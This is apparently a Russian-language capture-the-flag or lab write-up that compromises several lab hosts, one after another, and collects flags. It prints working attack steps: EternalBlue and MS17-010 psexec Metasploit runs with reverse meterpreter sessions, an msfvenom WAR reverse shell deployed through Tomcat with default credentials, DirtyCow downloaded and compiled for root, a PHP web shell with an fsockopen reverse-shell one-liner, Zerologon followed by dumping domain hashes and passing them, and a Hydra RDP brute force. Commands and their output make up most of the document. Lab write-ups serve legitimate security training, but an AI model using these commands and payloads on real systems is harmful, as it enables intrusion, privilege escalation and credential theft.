

==192.168.100.7== - Windows 7 with smb

Проверяем уязвима ли машина к MS17-010 с помощью nmap --script smb-vuln-ms17-010 192.168.100.7

```

$ nmap --script smb-vuln-ms17-010 192.168.100.7
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-17 14:21 MSK
Nmap scan report for 192.168.100.7
Host is up (0.034s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
49152/tcp  open  unknown
49153/tcp  open  unknown
49154/tcp  open  unknown
49155/tcp  open  unknown
49156/tcp  open  unknown
49157/tcp  open  unknown

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|     Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs: CVE:CVE-2017-0143
|     Risk factor: HIGH
|     A critical remote code execution vulnerability exists in Microsoft SMBv1
|     servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_

Nmap done: 1 IP address (1 host up) scanned in 2.20 seconds
```

Запускаем msfconsole и находим ms17-010. Производим минимальную настройку и запускаем. Спустя несколько попыток получаем соединение и забираем флаг с рабочего стола Peter

```

Module options (exploit/windows/smb/ms17_010_eternalblue):


| Name          | Current Setting | Required | Description                                                                                                                                           |
|---------------|-----------------|----------|-------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS        | 192.168.100.7   | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                                |
| RPORT         | 445             | yes      | The target port (TCP)                                                                                                                                 |
| SMBDomain     |                 | no       | (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. |
| SMBPass       |                 | no       | (Optional) The password for the specified username                                                                                                    |
| SMBUser       |                 | no       | (Optional) The username to authenticate as                                                                                                            |
| VERIFY_ARCH   | true            | yes      | Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.     |
| VERIFY_TARGET | true            | yes      | Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.               |



Payload options (windows/x64/meterpreter/reverse_tcp):


| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 192.168.72.138  | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |



Exploit target:


| Id | Name      |
|----|-----------|
| 1  | Windows 7 |



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 10.0.2.6
```

```

msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.0.2.6:4444
[*] 192.168.100.7:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[*] 192.168.100.7:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.100.7:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.100.7:445 - The target is vulnerable.
[*] 192.168.100.7:445 - Connecting to target for exploitation.
[*] 192.168.100.7:445 - Connection established for exploitation.
[*] 192.168.100.7:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.100.7:445 - CORE raw buffer dump (42 bytes)
[*] 192.168.100.7:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 192.168.100.7:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 192.168.100.7:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1 192.168.100.2
[*] 192.168.100.7:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.100.7:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.100.7:445 - Sending all but last fragment of exploit packet
[*] 192.168.100.7:445 - Starting non-paged pool grooming
[*] 192.168.100.7:445 - Sending SMBv2 buffers
[*] 192.168.100.7:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.100.7:445 - Sending final SMBv2 buffers.
[*] 192.168.100.7:445 - Sending last fragment of exploit packet!
[*] 192.168.100.7:445 - Receiving response from exploit packet
[*] 192.168.100.7:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.100.7:445 - Sending egg to corrupted connection.
[*] 192.168.100.7:445 - Triggering free of corrupted buffer.
[*] Sending stage (201798 bytes) to 192.168.100.7
[*] Meterpreter session 1 opened (10.0.2.6:4444 -> 192.168.100.7:49160) at 2025-01-17 14:23:19 +0300
[*] 192.168.100.7:445 -----
[*] 192.168.100.7:445 -----WIN-----
[*] 192.168.100.7:445 -----

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

```

flag{c6acfd25d389305b9cc20f6568e3bce2}

```

meterpreter > cd Desktop\\
meterpreter > cat flag.txt
flag{c6acfd25d389305b9cc20f6568e3bce2}meterpreter >

```

==192.168.100.12== - tomcat

Заходим на сайт <http://192.168.100.12:8080> и видим что tomcat только что был установлен. Скорее всего пароль остался дефолтным. Перебираем стандартные пароли tomcat и получает доступ (tomcat s3cret)

192.168.100.12:8080/manager/html/upload?org.apache.filters.CSRF_NONCE=E14988D07A463F2B00CA66A71BF9B560

Kali Linux

Kali Tools

Kali Docs

Kali Forums

Kali NetHunter

Exploit-DB

Google Hacking DB

OffSec

10.154.12.195/rev.php

Tomcat Web Application Manager

Message:

OK

Manager

List Applications

HTML Manager Help

Manager Help

Server Status

Applications

Path	Display Name	Running	Sessions	Commands
/		true	0	<div>Start Stop Reload Undeploy</div> <div>Expire sessions with idle ≥ 30 minutes</div>
/docs	Tomcat Documentation	true	0	<div>Start Stop Reload Undeploy</div> <div>Expire sessions with idle ≥ 30 minutes</div>
/examples	Servlet and JSP Examples	true	0	<div>Start Stop Reload Undeploy</div> <div>Expire sessions with idle ≥ 30 minutes</div>
/host-manager	Tomcat Manager Application	true	0	<div>Start Stop Reload Undeploy</div> <div>Expire sessions with idle ≥ 30 minutes</div>
/manager	Tomcat Manager Application	true	1	<div>Start Stop Reload Undeploy</div> <div>Expire sessions with idle ≥ 30 minutes</div>

Создаем шелл `msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.2.4 LPORT=4444 -f war > shell.war`

и затем заливаем его на сайт и переходим <http://192.168.100.12:8080/shell/>

Получаем подключение и забираем первый флаг пользователя
 flag{c351df7d89f09ba2e58e98d2406f7d54}

```

LISTENING ON [any] www ...
connect to [10.0.2.4] from (UNKNOWN) [192.168.100.12] 41031
ls
common
conf
logs
server
shared
webapps
work
python3 -c 'import pty;pty.spawn("/bin/bash")'

ls
common
conf
logs
server
shared
webapps
work
dir
common conf logs server shared webapps work
cd ..
cd ..
ls
backups
cache
crash
lib
local
lock
log
mail
opt
run
spool
tmp
cd /home
ls
user
cd user
ls
flag.txt
cat flag.txt
flag{c351df7d89f09ba2e58e98d2406f7d54}

```

python -c "import pty; pty.spawn('/bin/bash')"

Закидываем на машину DirtyCow и компилируем файл (О DirtyCow можно узнать с помощью linpeas)

```

tomcat6@portal:/tmp$ wget http://10.0.2.7:8080/dirty.c
wget http://10.0.2.7:8080/dirty.c
--2025-01-17 22:50:47-- http://10.0.2.7:8080/dirty.c
Connecting to 10.0.2.7:8080 ... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4815 (4.7K) [text/x-csrc]
Saving to: `dirty.c'

100%[=====>] 4,815 --.-K/s in 0.03s

2025-01-17 22:50:47 (170 KB/s) - `dirty.c' saved [4815/4815]

tomcat6@portal:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt
gcc -pthread dirty.c -o dirty -lcrypt
tomcat6@portal:/tmp$ ;s
bash: syntax error near unexpected token `;'
tomcat6@portal:/tmp$ ls
ls
dirty hspferdata_tomcat6 suidfind tomcat6-tomcat6-tmp
dirty.c suid tmux-106 vmware-root
tomcat6@portal:/tmp$ ls -al
ls -al
total 48
drwxrwxrwt 6 root root 4096 Jan 17 22:50 .
drwxr-xr-x 23 root root 4096 Feb 17 2022 ..
-rwxr-xr-x 1 tomcat6 tomcat6 14116 Jan 17 22:50 dirty
-rw-r--r-- 1 tomcat6 tomcat6 4815 Jan 17 22:07 dirty.c
drwxr-xr-x 2 tomcat6 tomcat6 4096 Jan 16 14:08 hspferdata_tomcat6
-rw-r--r-- 1 tomcat6 tomcat6 0 Jan 17 22:48 suid
-rw-r--r-- 1 tomcat6 tomcat6 0 Jan 17 22:48 suidfind
drwx----- 2 tomcat6 tomcat6 4096 Jan 16 16:29 tmux-106
drwxr-xr-x 2 tomcat6 root 4096 Jan 16 14:08 tomcat6-tomcat6-tmp
drwx----- 2 root root 4096 Jan 16 14:08 vmware-root

```

Запускаем его и создаем нового пользователя root с паролем hacker

```
tomcat6@portal:/tmp$ ./dirty
./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: hacker

Complete line:
firefart:fiBnRbOmlleQM:0:0:pwned:/root:/bin/bash

mmap: 7f020baf0000
```

Заходим под новым пользователем и забираем флаг

```
tomcat6@portal:/var/lib/tomcat6$ su
su
Password: hacker

firefart@portal:/var/lib/tomcat6# whoami
whoami
firefart
firefart@portal:/var/lib/tomcat6# id
id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@portal:/var/lib/tomcat6# cat /root/flag.txt
cat /root/flag.txt
flag{5cf994319843b8ca8ea46f615ae32e80}
firefart@portal:/var/lib/tomcat6# ^X@sS
```

flag{5cf994319843b8ca8ea46f615ae32e80}

==192.168.100.24==

Через ffuf находим страницы admin и update

```
ffuf -u http://192.168.100.24/FUZZ -w Downloads/seclists/Discovery/Web-Content/raft-medium-files.txt -fc 403

v2.1.0-dev

:: Method      : GET
:: URL         : http://192.168.100.24/FUZZ
:: Wordlist     : FUZZ: /home/kali/Downloads/seclists/Discovery/Web-Content/raft-medium-files.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout      : 10
:: Threads     : 40
:: Matcher     : Response status: 200-299,301,302,307,401,403,405,500
:: Filter      : Response status: 403

install.php      [Status: 200, Size: 78, Words: 11, Lines: 1, Duration: 54ms]
update.php      [Status: 200, Size: 1792, Words: 121, Lines: 90, Duration: 59ms]
LICENSE.txt     [Status: 200, Size: 35148, Words: 5836, Lines: 676, Duration: 55ms]
index.php      [Status: 200, Size: 28793, Words: 4247, Lines: 203, Duration: 60ms]
admin.php      [Status: 200, Size: 1335, Words: 79, Lines: 27, Duration: 51ms]
feed.php      [Status: 200, Size: 26861, Words: 3592, Lines: 125, Duration: 62ms]
sitemap.php    [Status: 200, Size: 661, Words: 33, Lines: 19, Duration: 46ms]
.              [Status: 200, Size: 28802, Words: 4247, Lines: 203, Duration: 54ms]
COPYRIGHT.txt  [Status: 200, Size: 1272, Words: 168, Lines: 27, Duration: 47ms]
:: Progress: [17141/17141] :: Job [1/1] :: 943 req/sec :: Duration: [0:00:18] :: Errors: 0 ::
```

На странице admin подбираем пароль и логин (admin admin) и получаем доступ к кабинету админа

На странице update узнаем версию Nibbleblog 4.0.3



Воспользуемся CVE-2015-6967 которая загружает наш payload php по адресу content/private/plugins/my_image/image.php

```
kali@kali:~/Downloads$ python3 exploit.py --url http://192.168.100.24/ --username admin --password admin --payload phpshell.php
/home/kali/.local/lib/python3.12/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.20) or chardet (5.2.0)/ch
warnings.warn("urllib3 ({}), or chardet ({}), charset_normalizer ({}), doesn't match a supported "
[+] Login Successful.
[+] Upload likely successfull.
[+] Exploit launched, check for shell.

~/Downloads/phpshell.php - Mousepad
File Edit Search View Document Help
1 <html>
2 <body>
3 <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
4 <input type="TEXT" name="cmd" id="cmd" size="80">
5 <input type="SUBMIT" value="Execute">
6 </form>
7 <pre>
8 <?php
9     if(isset($_GET['cmd']))
10     {
11         system($_GET['cmd']);
12     }
13 ?>
14 </pre>
15 </body>
16 <script>document.getElementById("cmd").focus();</script>
17 </html>
```

И получаем страницу со строкой для команд в которой прописываем shell

192.168.100.24/content/private/plugins/my_image/image.php?cmd=

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php -r '\$sock=fsockopen("10.0.2.3",4444);exec("sh <&3 >&3 2>&3");'

Execute

Получаем доступ, делаем стабильный шелл и получаем первый флаг user
flag{6d6c8c5b880f4017d36ac79963d5be0c}

```
cd home
ls
user
cd user
cat flag
cat: flag: No such file or directory
ls
flag.txt
cat flag.txt
flag{6d6c8c5b880f4017d36ac79963d5be0c}
^C
```



```
(kali@kali)-[~]
$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.0.2.3] from (UNKNOWN) [192.168.100.24] 5894
ls
db.xml
image.php
python3 -c 'import pty;pty.spawn("/bin/bash")'
</html/nibbleblog/content/private/plugins/my_image$ cd ~
```

Проверяем sudo и видим что можем использовать sudo без пароля. Читаем флаг в директории root flag{eec8bcb745ff86fba3b662e5c22ff609}

```
www-data@dev-server:/$ sudo -l
sudo -l
Matching Defaults entries for www-data on dev-server:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on dev-server:
    (ALL) NOPASSWD: ALL
```

```
www-data@dev-server:/$ sudo cat /root/flag.txt
sudo cat /root/flag.txt
flag{eec8bcb745ff86fba3b662e5c22ff609}
www-data@dev-server:/$
```

==192.168.100.20==

Проверяем наличие уязвимости nmap --script smb-vuln-ms17-010 192.168.100.20

```
(kali@kali)-[~]
$ nmap --script smb-vuln-ms17-010 192.168.100.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-17 20:03 MSK
Nmap scan report for 192.168.100.20
Host is up (0.061s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|     Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|       State: VULNERABLE
|       IDs:   CVE:CVE-2017-0143
|       Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|         servers (ms17-010).
|
|   Disclosure date: 2017-03-14
|   References:
|     https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|     https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|     https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
```

Через msfconsole запускаем ms17-010 psexec и получаем доступ под системой

```
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 10.0.2.3:4444
[*] 192.168.100.20:445 - Target OS: Windows 5.1
[*] 192.168.100.20:445 - Filling barrel with fish... done
[*] 192.168.100.20:445 - ← | Entering Danger Zone | →
[*] 192.168.100.20:445 - [*] Preparing dynamite...
[*] 192.168.100.20:445 - [*] Trying stick 1 (x86)... Boom!
[*] 192.168.100.20:445 - [+] Successfully Leaked Transaction!
[*] 192.168.100.20:445 - [+] Successfully caught Fish-in-a-barrel
[*] 192.168.100.20:445 - ← | Leaving Danger Zone | →
[*] 192.168.100.20:445 - Reading from CONNECTION struct at: 0x81e32558
[*] 192.168.100.20:445 - Built a write-what-where primitive...
[+] 192.168.100.20:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.100.20:445 - Selecting native target
[*] 192.168.100.20:445 - Uploading payload... IepSZlrL.exe
[*] 192.168.100.20:445 - Created \IepSZlrL.exe...
[+] 192.168.100.20:445 - Service started successfully...
[*] Sending stage (176198 bytes) to 192.168.100.20
[*] 192.168.100.20:445 - Deleting \IepSZlrL.exe...
[*] Meterpreter session 1 opened (10.0.2.3:4444 → 192.168.100.20:1032) at 2025-01-17 20:05:46 +0300

meterpreter > ls
Listing: C:\WINDOWS\system32
```

Находим файл через search -f *.txt и забираем флаг

```
meterpreter > cd Desktop\\
meterpreter > ls
Listing: C:\Documents and Settings\Administrator\Desktop

Mode                Size      Type      Last modified          Name
-----
100666/rw-rw-rw-   39       fil      2022-02-17 21:43:10 +0300  flag.txt

meterpreter > cat flag.txt
flag{2027838ae5b03434ee0202a0d785b929}
meterpreter > back
```

flag{2027838ae5b03434ee0202a0d785b929}

192.168.100.10,192.168.100.16

Запускаем msfconsole и проверяем наличие zerologon на доменной машине. NBNAME получаем путем сканирования адреса

```
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set rhosts 192.168.100.16
rhosts => 192.168.100.16
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set nbname DC01
nbname => DC01
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > check

[*] 192.168.100.16: - Connecting to the endpoint mapper service ...
[*] 192.168.100.16:49666 - Binding to 12345678-1234-abcd-ef00-01234567cffb:1.0@ncacn_ip_tcp:192.168.100.16[49666] ...
[*] 192.168.100.16:49666 - Bound to 12345678-1234-abcd-ef00-01234567cffb:1.0@ncacn_ip_tcp:192.168.100.16[49666] ...
[+] 192.168.100.16 - The target is vulnerable.
```

Домен уязвим. Проведем атаку и получить хеши с помощью команды secretsdump.py -no-pass -just-dc tech.local/DC01\\${@192.168.100.16}

```
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > exploit
[*] Running module against 192.168.100.16

[*] 192.168.100.16: - Connecting to the endpoint mapper service ...
[*] 192.168.100.16:49666 - Binding to 12345678-1234-abcd-ef00-01234567cffb:1.0@ncacn_ip_tcp:192.168.100.16[49666] ...
[*] 192.168.100.16:49666 - Bound to 12345678-1234-abcd-ef00-01234567cffb:1.0@ncacn_ip_tcp:192.168.100.16[49666] ...
[+] 192.168.100.16:49666 - Successfully authenticated
[+] 192.168.100.16:49666 - Successfully set the machine account (DC01$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) >
```

```
(kali@kali)-[~]
$ secretsdump.py -no-pass -just-dc tech.local/DC01\${@192.168.100.16}
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uuid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a73a2b453dd867f6a95dc81a6a907033:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:48e0bad80cafc6fd7bd74d30689eb496:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
tech.local\engineer:1104:aad3b435b51404eeaad3b435b51404ee:f67e6562390dea47df701c6ee299ca6f:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ENGINEER$:1105:aad3b435b51404eeaad3b435b51404ee:cbba0d8040fcb86831d86764e6613da5:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:8e199819a4223a913fcbfd8eba62cb516d279453bbc5ab563d1beb90fa6b940
krbtgt:aes128-cts-hmac-sha1-96:98b58976dfffca6b3d4f61d475ef0f07a
krbtgt:des-cbc-md5:64755b86aec7ece9
tech.local\engineer:aes256-cts-hmac-sha1-96:36253ff90c65b10a33603710d55786d5ce5f6fd742779a2a099315b7babcf888
tech.local\engineer:aes128-cts-hmac-sha1-96:26eed2110ec5d3b04764bd3a548d047c
tech.local\engineer:des-cbc-md5:765b0494574567b3
DC01$:aes256-cts-hmac-sha1-96:364a3e7060014999643ef3ea105a6c50ca48849951d7840e2846dff3bdce7f98
DC01$:aes128-cts-hmac-sha1-96:b29233c7d3deaef093bb33dd64729d51
DC01$:des-cbc-md5:daea2907abfd3d3d
ENGINEER$:aes256-cts-hmac-sha1-96:7bc46b89c7630917b4ee658e5d7c66dd0753af8f043fa12f21a5cc7599760d6a
ENGINEER$:aes128-cts-hmac-sha1-96:390d8823c4ee3eda2e70c3b1d617d960
ENGINEER$:des-cbc-md5:0ed61cdf680d2975
[*] Cleaning up ...
```

Получили хеш администратора. Воспользуемся evin-winrm для доступа к системе и получим первый флаг flag{8e967d64f6aa822c6e9567505e6a09d0}

```
(kali@kali)-[~]
$ evil-winrm -i 192.168.100.16 -u Administrator -H 'a73a2b453dd867f6a95dc81a6a907033'
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc
() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-wi
nrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
tech\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -
-a----- 1. 2/16/2022 10:25 AM           38 flag.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat flag.txt
flag{8e967d64f6aa822c6e9567505e6a09d0}
*Evil-WinRM* PS C:\Users\Administrator\Desktop> exit
Info: Exiting with code 0
```

С помощью psexec и ntlm hash администратора получим доступ к доменному ПК и получим второй флаг flag{a23b1ad85bcc2eaa65500db90af3dde0}

```
(kali@kali)-[~]
$ psexec.py tech.local/Administrator@192.168.100.10 --no-pass --hashes 'aad3b435b51404eeaad3b435b51404ee:a73a2b453dd867f6a95dc81a6a907033'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Requesting shares on 192.168.100.10....
[*] Found writable share ADMIN$
[*] Uploading file uLPgXFED.exe
[*] Opening SVCManager on 192.168.100.10.....
[*] Creating service Kpsa on 192.168.100.10.....
[*] Starting service Kpsa.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.18362.30]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32> cd C:\Users\Administrator\Desktop

C:\Users\Administrator\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is 3644-375C

Directory of C:\Users\Administrator\Desktop

02/27/2022  10:05 AM    <DIR>          .
02/27/2022  10:05 AM    <DIR>          ..
02/27/2022  10:02 AM             38 flag.txt
02/27/2022  09:30 AM       1,446 Microsoft Edge.lnk
                2 File(s)            1,484 bytes
                2 Dir(s)      3,809,095,680 bytes free

C:\Users\Administrator\Desktop> type flag.txt
flag{a23b1ad85bcc2eaa65500db90af3dde0}
```

192.168.100.11

Попробуем перебрать пароль к rdp с помощью hydra

```
[3389][rdp] host: 192.168.100.11 login: Administrator password: princess1
[STATUS] attack finished for 192.168.100.11 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-30 15:52:07
```

Подключаемся по RDP `xfreerdp /v:192.168.100.11 /u:Administrator /p:princess1 /w:1900 /cert-ignore` и получаем флаг `flag{cb2eecfd68a43df764c29254420d1597}`

